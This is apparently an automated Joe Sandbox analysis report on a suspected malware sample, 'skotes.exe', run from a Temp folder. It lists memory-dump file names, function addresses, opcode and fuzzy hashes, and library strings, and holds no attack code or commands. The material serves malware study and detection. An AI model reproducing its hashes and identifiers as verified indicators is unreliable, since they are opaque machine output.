Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: a324c1149ac5a36692d32f95a2fb29f216d9904d04c3bc731c9f1f5552619d08
Instruction ID: 9a1feb140c7cda0bcde6e6400c97c70f09f34c141446306c7af535c9c227bf2c
Opcode Fuzzy Hash: a324c1149ac5a36692d32f95a2fb29f216d9904d04c3bc731c9f1f5552619d08
Instruction Fuzzy Hash: E021F431B00615DBCB15AB68D8A9BFDB3B9BF94334BC4412AE401872D1CFACAC51CAD0

Function 007BDFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 007BDFE8
6{, xrefs: 007BE034

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6{$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-3243837931
Opcode ID: 8c18ff39cf06968b7d160c9d269e589b12211d19e4788aa9f674f1ed9c410412
Instruction ID: c7ac8d2b5730497541226e08430c334dd96fd4fc1f4063d345e02e9f03291d5c
Opcode Fuzzy Hash: 8c18ff39cf06968b7d160c9d269e589b12211d19e4788aa9f674f1ed9c410412
Instruction Fuzzy Hash: 6F219D71604209AFAB30BE758C84FEB77ADAF403A47204614F92996252EBB8EC508671

Function 007AAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 007AAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007AAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 007AAF4E

Strings

pExecutionResource, xrefs: 007AAF07

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: c2a10eabdfc0876d7ddd434625db07947a056fab69e436c3fa71a598b0bb948d
Instruction ID: 824125647571bb127d4e16e2eaf7fd578027961243c435145079791aa2967e60
Opcode Fuzzy Hash: c2a10eabdfc0876d7ddd434625db07947a056fab69e436c3fa71a598b0bb948d
Instruction Fuzzy Hash: 8121A7B1641205EBCF18EF54C856BADB7B5BF88310F10402DF505AB282DBB8AE04CB95

Function 007A4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007A4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 007A4F66

Strings

ppVirtualProcessorRoots, xrefs: 007A4F1C
count, xrefs: 007A4EBA

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: c9e8c3ab21990e3d8c07b78b5fbbf911312c6aa15f684d6e1c0e5180a45064ac
Instruction ID: 2435d7b70fd3f79248dbe165fb8558ce63d90eb46041c3e646cc3ceb3ca04021
Opcode Fuzzy Hash: c9e8c3ab21990e3d8c07b78b5fbbf911312c6aa15f684d6e1c0e5180a45064ac
Instruction Fuzzy Hash: 7821F535600115EFCF14EF98C895EAD77B5FF89310F00412AF5069B692DB7AAE01CB91

Function 007AB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007ABA0E

Strings

combase.dll, xrefs: 007AB983, 007AB988, 007AB99D, 007AB9C8
RoUninitialize, xrefs: 007AB9C1
RoInitialize, xrefs: 007AB998

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: a838cbd37bd597f05a9c23a159d756e8e5d94018bb88be4938e8b1845574d176
Instruction ID: 5503cf724d39ca9a071262baaf00cae03272ad07ab7f7a3034aff8b301aac6ab
Opcode Fuzzy Hash: a838cbd37bd597f05a9c23a159d756e8e5d94018bb88be4938e8b1845574d176
Instruction Fuzzy Hash: BB0128B0582355AEEB10B7758C05FAB369C5F4334CF205A29A540EA182FF3DE40146AA

Function 007A6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 007A6E73

Part of subcall function 007A4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 007A4E7F
Part of subcall function 007A4E6E: List.LIBCMT ref: 007A4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007A6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007A6EAA

Strings

eventObject, xrefs: 007A6E7D

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
